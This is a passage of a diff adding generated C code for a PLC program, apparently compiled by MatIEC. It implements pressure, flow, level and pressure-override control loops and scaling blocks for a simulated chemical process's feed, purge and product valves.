SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + 